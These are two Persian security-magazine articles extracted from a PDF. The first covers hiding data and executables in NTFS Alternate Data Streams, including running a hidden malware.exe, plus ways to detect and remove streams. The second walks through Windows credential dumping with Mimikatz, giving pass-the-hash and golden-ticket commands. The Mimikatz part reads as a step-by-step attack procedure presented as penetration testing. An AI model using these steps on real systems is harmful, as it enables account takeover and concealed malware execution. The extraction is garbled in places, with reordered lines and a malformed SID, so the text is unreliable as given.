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بررسی ویژگی  ADS در سیستم فایل 
NTFS  و مدیریت آن‌ها در ویندوز

ــای  ــدن ویندوزه ــا روی کار آم ب
 NTFS ــل ــتم ‌فای NT3.1، سیس
بــه سیســتم‌عامل مایکروســافت 
ــل  ــتم‌ فای ــک سیس ــوان ی به‌عن
ویژگــی  آمــد.  کار  روی  امــن 
 Alternate Data یــا   ADS
سیســتم ‌فایــل  در   Stream
ایــن  دیتــا  متــا  بــه   NTFS
ــوان  ــا بت ــد ت ــکان را می‌ده ام
... را در  یــک متــن، فایــل و 
ــرار داد،  ــل ق ــک فای ــه ی ضمیم
ــل   ــات فای ــه محتوی ــدون اینک ب
و یــا حتــی حجــم فایــل تغییــر 
بدافــزار ‌نویســان  امــا  کنــد. 
فراوانــی  اســتفاده‌های  ســوء 
ــا  ــد ت ــکان کرده‌ان ــن ام را از ای
را  آنتی‌ویروس‌هــا  بتواننــد 
ــزار خــود را در  ــد و بداف دور بزنن
پشــت یــک فایــل مخفــی، وارد 
سیســتم‌عامل کننــد. در ایــن 
مقالــه ســعی شــده بــه معرفــی 
از  سو‌ءاســتفاده  روش‌هــای 
ــا  ــکان توســط بدافزاره ــن ام ای
روش  همچنیــن  و  بپردازیــم 
توســط  را  آن  در  کدنویســی 
و   C++ برنامه‌نویســی  زبــان 
روش‌هــای نوشــتن و حــذف 
 ADS داخــل  در  اســتریم 
کنیــم.  معرفــی  فایــل،  یــک 

 NTFS ــل ــتم‌ فای ــی در سیس ــن ویژگ از مهم‌تری
ــل  ــک فای ــه ی ــردن Stream ب ــه ک ــکان اضاف ام
اســت. یعنــی می‌تــوان یــک یــا چنــد فایــل را در 
یــک فایــل پنهــان کــرد، در حالیکــه ایــن امــکان 

ــدارد. در FAT وجــود ن

 شــما می‌توانیــد یــک پســورد یــا یــک فایــل کــه 
نمی‌خواهیــد کســی آن را ببینــد، را در داخــل ایــن 
فایل‌هــا ذخیــره کنیــد. مســئله جالــب اینجاســت 
کــه مــا هــر فایل بــا هــر حجمی را کــه با اســتفاده 
از ایــن متــد مخفــی کنیــم، حجــم فایــل اصلی در 
ــد )در اصــل  windows explorer تغییــر نمی‌کن
نشــان  نمی‌توانــد  را  آن   windows explorer
ــد(. در اینجــا  ــع تغییــر می‌کن ــه درواق دهــد وگرن
ــرح  ــازی را ش ــه روش مخفی‌س ــم ک ــعی داری س
دهیــم و ســپس بــه طریقــه مقابلــه و تشــخیص 
بپردازیــم. مخفی‌شــده  کلمــات  و  فایل‌هــا 

نــام  بــا  فایــل  یــک  کــه  بگیریــد  نظــر  در 
بــا  می‌خواهیــم  و  دارد  وجــود   wininfo.txt
اســتفاده از ایــن روش یــک پســورد را در آن 
wininfo. ذخیــره کنیــم. در قــدم اول فایــل
را   p4ssw0rd مقــدار  و  می‌ســازیم  را   txt
می‌دهیــم.  قــرار  آن  در  مخفــی  به‌صــورت 

حــال اگر فایــل wininfo.txt را بــاز کنید،می‌بینید 
کــه چیــزی در داخــل آن وجــود نــدارد و حتــی اگر 
ــت.  ــان byte 0 اس ــد هم ــز ببینی ــم آن را نی حج

می‌توانیــد  زیــر  فرمــان  بــردن  کار  بــه  بــا 
مقــدار مخفــی را بــه ایــن صــورت ببینیــد: 

ــم  ــی کنی ــر بررس ــور دقیق‌ت ــم به‌ط ــر بخواهی اگ
زیــر اســت: به‌صــورت  شــکل کلــی فرمــان 

بــا  می‌تــوان  کــه   Stream نــوع  تنهــا 
ــه آن دسترســی داشــته  command prompt ب

اســت.   DATA$ باشــیم 

می‌توانیــد بــا اســتفاده از کد‌هــای WMI بــا 
ــا  ــت کار ب ــن جه ــد، همچنی ــز کارکنی ــا نی آن‌ه
C++ زبــان  از  می‌تــوان   NTFS در  ADSهــا 

ــت.  ــک گرف کم
https://bit.ly/35R3Q4Y

لیســتی از انــواع Streamهــا را می‌تــوان در 
ــرد: ــاهده ک ــن آدرس مش ای

https://bit.ly/34DNTyT

ویژگی ADS در سیستم فایل NTFSچکیده

روش مخفی‌سازی

echo  p4ssw0rd > wininfo.txt:hidden

C:\test>dir wininfo.txt

08:31  2014/24/04 PM   0 wininfo.txt

C:\test>more < test.txt:hidden

Hidden text

C:\test>echo This is the file>wininfo.
txt

C:\test>echo This is the 
stream>wininfo.txt:stream

filename:stream name:stream

◀نویسنده: مسلم حقیقیان
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ADS های فایلحالت‌های دیگر کار باStream اضافه کردن یک مقدار دیگر در

ایجاد ADS با استفاده از powershell  ویندوز

مخفی کردن یک عکس پشت فایل و اجرای آن

مخفی کردن یک کد VBS در پشت یک فایل و اجرای آن

مخفی کردن یک فایل EXE در پشت یک فایل دیگر و اجرای آن

نــام                       بــا  فایــل  یــک  می‌خواهیــم  کــه  بگیریــد  نظــر  در 
hidden.txt کــه حــاوی اطلاعــات محرمانــه اســت را در یــک 
فایــل متنــی بــا نــام wininfo.txt مخفــی کنیــم، ابتــدا فایل‌هــای 

می‌ســازیم: را   wininfo.txt و   hidden.txt

در نظــر بگیریــد کــه می‌تــوان چندیــن مقــدار را در Streamهــای 
ــک  ــم ی ــا می‌خواهی ــال م ــوان‌ مث ــرد. به‌عن ــه ک ــل اضاف ــک فای ی
ــام KST در قســمت  ــا ن ــام malware.exe را ب ــه ن ــل دیگــر ب فای

Streamهــا اضافــه کنیــم.

ــه  ــبت ب ــری نس ــد و بهت ــای قدرتمن powershell دارای فرمان‌ه
ــدن  ــاختن  و دی ــت س ــر جه ــن زی ــت. از فرامی ــدوز اس CMD وین

ــم.  ــتفاده می‌کنی ــی اس ــل متن ــات فای محتوی

ــر بــه Streamهــای  و از فرمــان زیــر جهــت اضافــه کــردن مقادی
ــود. ــتفاده می‌ش ــل اس فای

ــادی از  ــت ع ــل در حال ــات فای ــدن محتوی ــت دی ــن جه همچنی
فرمــان زیــر اســتفاده می‌شــود.

ــل از  ــه Stream فای ــدن متــن مخفــی و دسترســی ب و جهــت دی
ــود. ــتفاده می‌ش ــر اس ــان زی فرم

نحوه دیگر اعمال این دستور:

فایــل hidden را در فایــل wininfo مخفــی می‌کنیــم و آن را اجــرا 
می‌کنیــم:

حــالا اگــر فایــل wininfo را بــاز کنیــد همــان مقــدار nothing را در 
آن مشــاهده می‌کنیــد، امــا بــا فرمــان زیــر بــا اســتفاده از برنامــه 
notepad می‌توانیــم بــه فایــل hidden.txt دسترســی پیــدا کنیــم. 

نــام  بــا  عکــس  یــک  می‌خواهیــم  کــه  بگیریــد  نظــر  در 
کنیــم. مخفــی   wininfo.txt فایــل  در  را   secret.jpg

می‌کنیــم. اســتفاده   mspaint برنامــه  از  آن  خوانــدن  بــرای 

ایــن کار می‌توانــد بســیار خطرنــاک باشــد چــون می‌تــوان 
نوشته‌شــده    JS یــا  و   VBS زبــان  بــه  کــه  بدافــزار  یــک 
اســت را در پشــت یــک فایــل ذخیــره و آن را اجــرا کــرد.

قســمت اصلــی بحــث در ایــن اســت کــه بتــوان یــک فایــل exe  را 
در پشــت یــک فایــل دیگر مخفــی و ســپس آن را اجرا کــرد )در نظر 
ــد(. ــک malware باش ــد ی ــل exe می‌توان ــن فای ــه ای ــد ک بگیری

Echo p4ssw0rd > hidden.txt
Echo nothing > wininfo.txt

echo Hidden text > wininfo.txt:hidden.txt

type malware2.exe > wininfo.txt:KST

$file = «wininfo.txt»
Set-Content -Path $file -Value ‹Test›
Get-Content -Path $file

Add-Content -Path $file -Value ‹P4ssw0rd› -Stream 
‹secret›

Get-Content -Path $file

Get-Content -Path $file -Stream ‹secret›

notepad wininfo.txt:hidden.txt

type secret.jpg > wininfo.txt:secret.jpg

mspaint wininfo.txt:secret.jpg

type malware.vbs > wininfo.txt:malware.vbs
Wscript  wininfo.txt:malware.vbs

type malware.exe > wininfo.txt: malware.exe
powershell  .\wininfo.txt:malware.exe
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ADS طریقه‌ شناسایی فایل‌ها با قابلیت

روش حذف Streamهای فایل

درصورتی‌کــه یــک فایــل دارای ADS را از اینترنــت دانلــود نماییــد 
  ADS (Zone.Identifier( مرور‌گــر پیغــام می‌دهــد کــه فایــل دارای
اســت. مثــاً هنــگام دانلود فایــل setup.exe که دارای ADS باشــد 
ــواع  ــر ایــن ان ــر را نشــان می‌دهــد، عــاوه ب مرورگــر IE پیغــام زی
ــتند. ــز هس ــخیص ADS مجه ــتم تش ــه سیس ــا ب آنتی‌ویروس‌ه

فایل‌هــا  ایــن  شناســایی  و  تشــخیص  جهــت 
دارد؛ وجــود  زیــر  شــرح  بــه  مختلفــی  روش‌هــای 
 CMD روش اول کــه ســاده‌ترین روش اســت، اســتفاده از برنامــه 
وینــدوز و فرمــان DIR هســت. درصورتی ‌که فرمان DIR با اســتفاده 
ــر Stream موجــود  ــوان مقادی ــتفاده شــود، می‌ت از ســویچ r/ اس
در یــک فایــل را توســط آن مشــاهده کــرد. بــا ایــن فرمــان لیســت 
تمامــی streamهــا را می‌توانیــد مشــاهده کنیــد کــه در اینجــا بــا 
نام‌های Wininfo.ir و Moslem و Malware.exe و KST اســت.

ــت  ــدوز اس ــتفاده از powershell وین ــر، اس ــر و قوی‌ت روش دیگ
ــد.  ــی می‌کن ــا را بررس ــر آن‌ه ــان زی ــه بافرم ک

روش دیگر استفاده از فرمان زیر است؛ 

همچنیــن جهــت دیــدن محتویــات stream موردنظــر بــا اســتفاده 
ــرد؛  ــتفاده ک ــر اس ــان زی ــوان از فرم ــن powershell، می‌ت از فرامی

ــتفاده از  ــا اس ــل ب ــک فای ــای ی ــردن Streamه ــذف ک ــت ح جه
فرامیــن powershell، می‌تــوان به‌صــورت زیــر عمــل کــرد؛

می‌تــوان به‌جــای ســتاره فقــط نــام stream موردنظــر را نوشــت. 

لیســت  امــکان   CMD در   Find فرمــان  از  اســتفاده  بــا 
دارد.   وجــود   ADS دارای   فایل‌هــای  تمــام  کــردن 

 powershell در  زیــر  کــد  از  اســتفاده  بــا  همچنیــن 
 stream در  کــه  فایل‌هایــی  تمــام  از  لیســتی  می‌تــوان 
کــرد.  فولــدر مشــاهده  یــک  داخــل  در  را  DATA$ هســتند 

Get-Item * -stream *

Get-Content .\wininfo.exe -Stream yourads.txt

Remove-Item .\1.txt -Stream moslemADS
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بــا   Stream می‌بینیــد  قبــل  شــکل  در  کــه  همان‌طــور 
 moslem مقــدار   و  ساخته‌شــده   moslemADS نــام 
لیســت  ســپس  اســت،  داده‌شــده  آن  بــه   mKST,wininfo
 Stream هــای موجــود در فایــل را بررســی وStream تمامــی
کردیــم.  حــذف   Remove-item بافرمــان  را  ساخته‌شــده 

هــر فایلــی کــه بــا هــر طریقــی بــه یــک کامپیوتــر وارد می‌شــود 
بــه   DATA$ قســمت در   Stream  یــک به‌صــورت خــودکار 
فایــل اضافــه می‌شــود کــه از 0 تــا 5 شــماره‌گذاری میگــردد. 

ــه  ــل چگون ــه فای ــد ک ــان می‌دهن ــماره‌ها نش ــن ش ــدام از ای هرک
ــت.  ــده اس ــتم ش وارد سیس

0  My Computer 
1  Local Intranet Zone 
2  Trusted sites Zone 
3  Internet Zone 
4  Restricted Sites Zone 

ــت.  ــود در internet option اس ــت موج ــان لیس ــن هم ــه ای ک

بیــن  از   Stream نــام نمی‌خواهیــم  مــا  مواقــع  از  بســیاری 
بیــن  از  را  آن  محتویــات  می‌خواهیــم  تنهــا  بلکــه  بــرود 
اســتفاده می‌شــود؛ زیــر  فرمــان  از  ایــن صــورت  در  ببریــم، 

ــر  ــتور صف ــرای دس ــد از اج ــدار wininfo.ir بع ــکل مق ــن ش در ای
ــت.  ــده اس ــاک نش ــام آن پ ــا ن ــده ام ش

بــه کمــک فرامیــن CMD هــم امــکان حــذف Streamهــا وجــود 
دارد و کافــی اســت فرمــان زیــر را بنویســید؛

 NTFS ــدن ــرای فهمی ــرطی ب ــمت ش ــد در قس ــن می‌توانی همچنی
بــودن درایــو مقایســه‌ای انجــام دهیــد:

زبــان  بهتریــن  و  قوی‌تریــن   c++ برنامه‌نویســی  زبــان 
اســت. فایل‌هــا   ADS بــا  کار  بــرای  برنامه‌نویســی 

تابــع  از  اســتفاده  بــا  می‌تــوان   :stream ایجــاد 
درایــو  یــک  کــه  داد  تشــخیص    GetVolumeInformation

خیــر. یــا  دارد  را   ADS قابلیــت 

char szVolName[MAX_PATH], szFSName[MAX_PATH];

DWORD dwSN, dwMaxLen, dwVolFlags;

::GetVolumeInformation(«C:\\», szVolName, MAX_PATH, 

&dwSN,

                       &dwMaxLen, &dwVolFlags, szFSName, 

MAX_PATH);

if (dwVolFlags & FILE_NAMED_STREAMS) {

  // File system supports named streams

}

else {

  // Named streams are not supported

}

if (_stricmp(szFSName, «NTFS») == 0)   // If NTFS

همــان‌ گونــه کــه در بــالا می‌بینیــد txt:wininfo:$DATA.1 را 
نشــان داده اســت. امــا در اولین گزارش‌گیــری بعد از اجرای دســتور 
 txt > txt.1 type.1 دیگــر Streamهــا کامــل پاک‌شــده‌اند.

 

پاک کردن محتویات داخل Stream موجود در فایل

حذف کلیه‌ Stream ها در CMD ویندوز

C++ با ADS مدیریت

Zone.Identifier های stream بررسی

Clear-Content .\1.txt -Stream wininfo.ir

Type filename > filename

7



 CreateFile جهــت ایجــاد یــک اســتریم برای فایــل خــاص از تابــع
اســتفاده کنیــد، بدین شــکل؛

ساختار این تابع به شکل زیر است؛ 

FIND__WIN32 آرگومــان دوم ایــن تابــع باید یــک متغیــر از نــوع
DATA  باشــد و خروجــی کــه file.cFileName اســت همــان نــام 

ــت. فایل‌هاس

:Stream حذف
بــا اســتفاده از تابــع DeleteFile می‌توانیــد بــه صــورت زیــر یــک 

اســتریم را در فایــل NTFS حــذف نماییــد؛

کپی کردن یک استریم:
 Stream می‌تــوان CopyFile/CopyFileEx  بــا اســتفاده از توابــع
یــک فایــل را بــه داخــل Stream فایــل دیگــر کپــی کــرد. هنــگام 
ــخص  ــام مش ــه دارای ن ــی را ک ــد جریان ــی بای ــات کپ ــام عملی انج
ــر  ــم، در غی ــام مشــخص کپــی کنی ــا ن ــی دیگــر ب ــه جریان اســت ب
ــود دارد. ــره وج ــه‌ای غیرمنتظ ــروز نتیج ــکان ب ــورت ام ــن ص ای

از تمــام  لیســتی  داریــم کــه  نیــاز  بعــد  حــال در مرحلــه‌ی 
آوریــم و  بــه دســت  را در داخــل پوشــه‌ی خــاص  فایل‌هــا 
ــدن   ــا خوان ــتن و ی ــه نوش ــالا ب ــن ب ــتفاده از فرامی ــا اس ــپس ب س
تعریــف  بــا  کار  ایــن  بــرای  بپردازیــم.  فایــل  یــک  در   ADS
فضــای نــام windows.h دسترســی خــود را بــه کتابخانــه‌ی 
توابــع api می‌دهیــم و ســپس از تابــع FindFirstFile بــرای 
می‌کنیــم. اســتفاده  فایل‌هــا  تمامــی  لیســت  جســتجوی 

HANDLE hFile = ::CreateFile(«file.dat:alt», ...
HANDLE WINAPI FindFirstFile(

  _In_  LPCTSTR           lpFileName,

  _Out_ LPWIN32_FIND_DATA lpFindFileData

);

::DeleteFile(«file.dat:alt»);

HANDLE hInFile = ::CreateFile(szFromStream, GENERIC_

READ, FILE_SHARE_READ, NULL,

             OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 

NULL);

HANDLE hOutFile = ::CreateFile(szToStream, GENERIC_

WRITE, FILE_SHARE_READ, NULL,

             CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | 

FILE_FLAG_SEQUENTIAL_SCAN, NULL);

BYTE buf[1024*64];

DWORD dwBytesRead, dwBytesWritten;

do {

  ::ReadFile(hInFile, buf, sizeof(buf), &dwBytesRead, NULL);

  if (dwBytesRead) ::WriteFile(hOutFile, buf, dwBytesRead, 

&dwBytesWritten, NULL);

} while (dwBytesRead == sizeof(buf));

::CloseHandle(hInFile);

::CloseHandle(hOutFile);

WIN32_FIND_DATA file;

    HANDLE search_handle=FindFirstFile(L»C:\\*»,&file);

    if (search_handle)

    {

        do

        {

            std::wcout << file.cFileName << std::endl;

        }while(FindNextFile(search_handle,&file));

        CloseHandle(search_handle);

    }
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ارزیابی امنیتی حساب 
کاربری ویندوز

◀نویسنده: مسلم حقیقیان

مقدمه

SAM به دست آوردن محتویات فایل

Pwdump

Fgdump

Mimikatz درباره

Lsass.exe برنامه

بــه  نفــوذ  یــا  و  نفــوذ  تســت  جهــت  مختلفــی  ابزارهــای 
ــه  ــت ک ــده اس ــافت نوشته‌ش ــرکت مایکروس ــتم‌عامل‌های ش سیس
ــتم‌عامل  ــن سیس ــی از ای ــمت خاص ــر روی قس ــدام ب ــولا هرک معم
تمرکــز داشــته‌اند و ایــن باعــث می‌شــود کــه بــرای رســیدن 
ــی اســتفاده  ــزار به‌صــورت ترکیب ــن اب ــی خــاص، از چندی ــه هدف ب
ــرد. ــام پذی ــتی انج ــه درس ــتم‌عامل ب ــازی سیس ــا امن‌س ــود ت ش
در ایــن مقالــه بــه معرفــی  بهتریــن ابزارهــا جهــت آزمــون 
کاربــری  حســاب‌های  روی  بــر  مایکروســافت  نفوذپذیــری 
ابــزار Mimikatz می‌پردازیــم. از  اســتفاده  بــا  سیســتم‌عامل، 

 SAM(Security Account Manager(ــل ــد فای ــه می‌دانی همان‌طــور ک
فایلــی حــاوی تمــام پســورد حســاب‌های کاربــری می‌باشــد. محــل 
 Config/System32 ــه ــرض پوش ــورت پیش‌ف ــل به‌ص ــن فای ای
ــده  ــورت رمزنگاری‌ش ــل به‌ص ــن فای ــل ای ــر داخ ــد. مقادی می‌باش
ــت  ــی جه ــی ابزارهای ــه معرف ــر ب ــه در زی ــت، ک ــده اس ذخیره‌ش
بــه دســت آوردن محتویــات ایــن فایــل خواهیــم پرداخــت.

ابــزار Password Dump یکــی از قدیمی‌تریــن ابزارهــا بــرای 
ــن کار را  ــه ای ــت ک ــل SAM اس ــات فای ــت آوردن محتوی ــه دس ب
ــد.  ــام می‌ده ــد LSASS انج ــل Dll فرآین ــد در داخ ــق ک ــا تزری ب
در  کــه  اســت   Pwdump7 نرم‌افــزار  ایــن  نســخه  آخریــن 
ــد. ــاهده نمایی ــه را مش ــن برنام ــی ای ــد خروج ــکل 1 می‌توانی ش

ــن  ــت، ای ــعه‌یافته‌ Pwdump6 اس ــخه  توس ــزار Fgdump نس اب
ــره‌ی  ــدی ذخی ــره LSA و موردبن ــرداری ذخی ــور کپی‌ب ــزار به‌منظ اب
طراحی‌شــده  عملیــات  ایــن  خودکارســازی  و  محافظت‌شــده 
اســت. خروجــی برنامــه Fgdump را در  شــکل 2 می‌توانیــد 

ــد.  ــاهده نمایی مش

ــته  ــال 2011 نوش ــی در س ــن دلپ ــط بنجامی ــزار MimikatZ توس اب
شــد. ایــن ابــزار به‌صــورت خــودکار اقــدام بــه جمــع‌آوری 
ــح  ــن واض ــورت مت ــدوز به‌ص ــتم‌عامل وین ــور در سیس ــای عب رمزه
 Lan Manager hashes, NTLM Hashes, می‌کنــد، همچــون
Certificates و Kerbres کــه می‌توانــد ایــن عملیــات را بــر روی 

ــد. ــام ده ــا 10 انج ــدوز XP ت وین

 Lsass.exe(Local Security Authority Subsystem برنامــه
مایکروســافت  امنیتــی  ســرویس‌های  مهم‌تریــن  از   )Service
ــق  ــران از طری ــای کارب ــئول وروده ــه مس ــود ک ــوب می‌ش محس
حســاب‌های کاربــری و گروه‌هــای کاربــری بــه سیســتم‌عامل 
می‌کنــد.  فراهــم  آن‌هــا  بــرای  را  قابلیــت  ایــن  و  اســت 
ــردن  ــره ک ــا ذخی ــه ب ــت ک ــن اس ــه ای ــن برنام ــای ای از قابلیت‌ه
اطلاعــات ورود کاربــران در هــر بار درخواســت  کاربر برای دسترســی 
ــد. ــری می‌کن ــا جلوگی ــاره آن‌ه ــت دوب ــراز هوی ــع، از اح ــه مناب ب
ایــن برنامــه نــه ‌تنهــا دسترســی را بــرای کاربــران تصدیــق 
ایــن  از  مجموعــه  هــر  بلکــه  می‌کنــد  فراهــم  شــده 
فعــال  و  بــاز  نشســت‌های  از  بســیاری  بــرای  را  اطلاعــات 
می‌کنــد. اســتفاده  سیســتم‌عامل،  بــوت  آخریــن  در 
اطلاعــات  ایــن  از  بهره‌بــرداری  بــه   Mimikatz برنامــه 
کش‌شــده پرداختــه و نتایــج را بــه کاربــر نشــان می‌دهــد.

شکل 1- محتویات فایل SAM که توسط ابزار PWDump به‌دست‌آمده است.

شکل 2- محتویات فایل SAM که توسط برنامه FGDump بیرون کشیده شده است.
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Mimikatz فراخوانی

Mimikatz کار با

به دست آوردن پسورد حساب‌های کاربری 

Mimikatz بارگذاری

Hash بازیابی پسوردهای

ــه به‌صــورت CLI نوشته‌شــده اســت و  ــن برنام ــی ای ــت کل در حال
ــه در  ــزار وجــود دارد ک ــن اب ــا ای روش‌هــای مختلفــی جهــت کار ب

ــم. ــرح می‌دهی ــا را ش ــه آنه ادام

•  بــا اســتفاده از CMD یــا powershell در وینــدوز و Shell در لینوکس  
می‌توانیــم ایــن برنامــه را فراخوانــی کنیــم و از فرامیــن آن بهــره ببریــم. 

 Metasploit از  بخشــی  به‌عنــوان  برنامــه  ایــن   2014 ســال  در    •
ــان  ــتفاده از فرم ــا اس ــد ب ــما می‌توانی ــت، ش ــرار گرف meterpreter ق
»Load mimikatz« ایــن برنامــه را در حافظــه اجــرا کنیــد و نیــازی بــه 
ــد  ــل در داخــل هــارد دیســک شــما نیســت و ایــن می‌توان وجــود فای

ــد باشــد. بســیار مفی
ــرای تســت امنیتــی  ــه ب ــز ک •  ســال  2016 مجموعــه powersploit نی
ــب  ــزار را در قال ــن اب ــد، ای ــته ش ــافت نوش ــتم‌عامل‌های مایکروس سیس
ــکریپت  ــا اس ــرار داد ت ــود ق ــه‌ خ ــکریپت powershell در مجموع اس
ــد. ــتفاده کنن ــود اس ــای خ ــد از آن در برنامه‌ه ــدوز بتوانن ــان وین نویس

ــه کار  ــت ک ــن اس ــزار ای ــن اب ــم در ای ــای مه ــی از ویژگی‌ه یک
بــا آن بســیار ســاده بــوده 
می‌توانــد  هرکســی  و 
ــد  ــتن چن ــا نوش ــی ب به‌راحت
فرمــان از ابــزار بهره‌بــرداری 
کنــد. در ادامــه ســناریوهای 
تســت  در  کــه  مختلفــی 
سیســتم‌عامل‌های  نفــوذ 
مایکروســافت وجــود دارد را 

می‌کنیــم.  بیــان 

ــن  ــرای ای ــا اج ــد ب ــاهده می‌کنی ــکل 5 مش ــه در ش ــور ک همان‌ط
فرمــان شــما بــه اطلاعاتــی مانند 
 SID, Username, NTLM
Hash, SHA1 و پســورد حســاب 
ــن آشــکار  ــری به‌صــورت مت کارب
ــرد. ــد ک ــدا خواهی ــی پی دسترس
اجــرای  جهــت   Mimikatz
گرفتــن  و  خــود  فرامیــن 
اطلاعــات از LSA نیــاز به ســطح 
 Administrator دسترســی 
دارد و درصورتی‌کــه در ســطح 
در  شــود،  اجــرا  مدیــر  غیــر 
خطــا  بــا  دســتورات  اجــرای 
شــد. خواهیــد  مواجهــه 

بــا  را  برنامــه Mimikatz می‌تــوان آن  در ســاده‌ترین حالــت 
اســتفاده از فرمــان زیــر در حالــت اشــکال‌زدایی قــرار داد تــا بتــوان 
پســوردها را بــه دســت آورد، در شــکل 4 می‌توانیــد خروجــی ایــن 

موضــوع را مشــاهده نماییــد.
#  privilege::debug

ــاب‌های  ــورد حس ــت پس ــت آوردن لیس ــه دس ــت ب ــپس جه س
ــرد. ــکار ب ــر را ب ــان زی ــوان فرم ــری می‌ت کارب

#  sekurlsa::logonpasswords

ــط  ــه فق ــه برنام ــت ورود ب جه
کافی اســت نــام آن را بنویســید، 
برنامــه  شــروع   3 شــکل 
ــد.     ــان می‌ده  mimikatz را نش

ــالا  ــر ب ــه در تصوی ــور ک همان‌ط
مشــاهده می‌کنیــد امــکان بازیابــی مقادیــر Hash در فایــل 
ــت. ــر اس ــانی امکان‌پذی ــزار Mimikatz به‌آس ــق اب SAM از طری
بــا اســتفاده از ایــن مقــدار HASH می‌توانیــم یــک فرآینــد 
ــط  ــن کار فق ــرای ای ــم، ب ــرا کنی ــری اج ــری دیگ ــاب کارب را در حس
کافــی اســت از مقــدار  HASH  شــده بــرای تصدیــق کــردن 
فرآینــد بــر روی سیســتم محلــی فعلــی اســتفاده شــود. ایــن نــوع 
حمــات در دســته‌بندی از نــوع  Pass-the-Hash می‌باشــند.
بــه  دسترســی  جهــت  مناســب  روش  یــک  حمــات  ایــن 
دسترســی  ســطح  از  اســتفاده  بــا  دور،  راه  سیســتم  منابــع 
شکســتن  بــه  نیــازی  روش  ایــن  در  اســت.  کاربــر  همــان 
از نــوع Salt Hash می‌باشــند نیســت.  رمزهــای عبــور کــه 
 HASH بــرای ایــن کار کافــی اســت بــه جمــع‌آوری پســورد
حســاب کاربــری بپردازیــد. شــکل 6 پســوردهای سیســتم‌عامل کــه 
توســط Mimikatz جمع‌آوری‌شــده اســت را نشــان می‌دهــد.

Mimikatz شکل 3- تصویری از ابزار

Mimikatz شکل 4- ورود به حالت اشکال‌زدایی در

شکل 5- پسورد حساب کاربری به‌صورت متن شفاف
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Golden Ticket آزمون امنیت با استفاده از حملات
زمانــی کــه حمــات Pass-the-Hash دارای مقــدار NTLM در 
ــر  ــری معتب ــاب کارب ــک حس ــوان ی ــود را به‌عن ــت، خ Lsass اس
در یــک نشســت معرفــی می‌کنــد و ســپس بــا اســتفاده از 
ــر  ــر نامعتب ــا Pass-the-Ticket  کارب ــات Golden Ticket ی حم
ــازی  ــد. در پیاده‌س ــی می‌کن ــر معرف ــر معتب ــک کارب ــوان ی را به‌عن
Kerberos هنگامی‌کــه حســاب کاربــری دارای HASH معتبــر 
ــل  ــن دلی ــه همی ــد و ب ــه آن می‌ده ــی را ب ــوز دسترس ــت مج اس
اســت کــه برنامــه Mimikatz نیــز از ایــن حملــه می‌تواند اســتفاده 
کنــد تــا بتوانــد بعــد از نفــوذ بــه سیســتم ســطح دسترســی خــود 
را افزایــش دهــد. بــرای ایــن کار شــما کافــی اســت اطلاعــات زیــر 

ــار داشــته باشــید؛ را در اختی

administrator نام یکی از حساب‌های کاربری با سطح دسترسی   •
•   نام کامل دامین 

SID شناسه دامین یا همان   •
•   مقدار HASH NTLM حساب کاربری

 Net ــان ــتفاده از فرم ــا اس ــری ب ــاب کارب ــام حس ــت‌آوردن ن بدس
ــوع  ــر ن ــد ه ــری می‌توان ــاب کارب ــت. حس ــر اس user امکان‌پذی
ــری موجــود  اســمی داشــته باشــد امــا بایــد از یــک حســاب کارب
ــرود و  ــو ن ــات Golden Ticket ل ــد حم ــا فرآین ــرد ت ــتفاده ک اس
ــتم‌عامل  ــن سیس ــل دامی ــام کام ــدن ن ــت دی ــد. جه ــان بمان پنه
خــود می‌توانیــد از فرمــان Ipconfig /all اســتفاده نماییــد.

ســپس بــا اســتفاده از دســتور زیــر بــه ایجــاد فرآینــد جعــل هویت 
بپردازید.

#sekurlsa:pth .user:<username> /domain:<domain> 
/ntlm:<hash> /run:<command>

بــا اســتفاده از ایــن فرمــان برنامــه CMD و Hash حســاب کاربری، 
ــود.  ــاز می‌ش ــان ب ــی خودم ــتم محل ــر روی سیس ShortUser ب
ــبکه  ــق ش ــاط از طری ــک ارتب ــود، ی ــاز می‌ش ــه CMD ب هنگامی‌ک
بــا سیســتم DC1 ایجــاد می‌شــود کــه مــا می‌توانیــم بــا اســتفاده 
ــا آن سیســتم ارتبــاط برقــرار کنیــم.  از فرامیــن مختلــف وینــدوز ب
به‌عنــوان‌ مثــال در اینجــا مــا از فرمــان Net Use اســتفاده می‌کنیم؛

ــان  ــن از فرم ــک دامی ــت آوردن SID ی ــه دس ــت ب ــن جه همچنی
Whoami /user اســتفاده کنیــد.

ــادگی  ــتم‌عامل به‌س ــه‌ی اول در سیس ــه مرحل ــت آوردن س ــه دس ب
ــت آوردن HASH NTLM در   ــه دس ــرای ب ــا ب ــرد ام ــام می‌گی انج
krbtgt می‌توانیــد از ابــزار Lsadump نیــز اســتفاده نماییــد. 
برنامــه Mimikatz می‌توانــد از مقــدار Hash به‌دســت‌آمده از 
krbtgt کــه توســط برنامــه LsaDump انجــام می‌شــود اســتفاده 
ــتفاده  ــر اس ــان زی ــد از فرم ــما می‌توانی ــن کار ش ــرای ای ــد، ب کن

نماییــد؛

ارتبــاط  اســت،  مشــخص  بــالا  شــکل  در  کــه  همان‌طــور 
دامیــن  در  موجــود  کاربــری  حســاب‌های  ســایر  بــا 
مشــخص  جهــت  می‌توانیــد  شــما  و  اســت  امکان‌پذیــر 
 Net Share فرمــان  از  اســتفاده  یــا  موضــوع  ایــن  شــدن 
بپردازیــد. شــبکه  در  موجــود  ارتباط‌هــای  بررســی  بــه 

NTLM شکل 6 - جمع‌آوری پسوردهای

شکل 7 - باز شدن CMD بر روی سیستم محلی با استفاده از NTLM حساب کاربری دیگر

Ipconfig /all شکل 10- به دست آوردن نام کامل دامین از طریق فرمان

Whoami دامین با استفاده از فرمان SID شکل 11 - به دست آوردن

krbtgt در NTLM شکل 12- دستیابی به مقدار

Pass-The-Hash شکل 8- متصل شدن به سیستم با استفاده از حملات

Pass-the-Hash شکل 9- نشست مربوط به ارتباط گرفته‌شده از طریق حملات
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 Golden ــات ــد حم ــات می‌توانی ــن اطلاع ــتن ای ــا داش ــما ب ش
Ticket را بــر روی هــر نــوع دســتگاهی اجــرا کنیــد. فقــط کافــی 
  Mimikatz ــتفاده از ــا اس ــان kerberos::golden را ب ــت فرم اس

ــر؛ ــه شــکل زی ــد، ب در یــک گــروه RID مناســب اجــرا کنی

mimikatz # kerberos::golden /user:FalseAdmin
/domain:muldertest.test
/SID:S-1978145045-2655275101-21-5-1-
1401857255
/krbtgt:69069dc9f4b3f1cfe735639314eea982
/groups:501,502,513,512,520,518,519
/ticket:FalseAdmin.tck

فایلــی  داخــل  را  آن  و  می‌کنــد  ایجــاد  Ticketرا  ابــزار  ایــن 
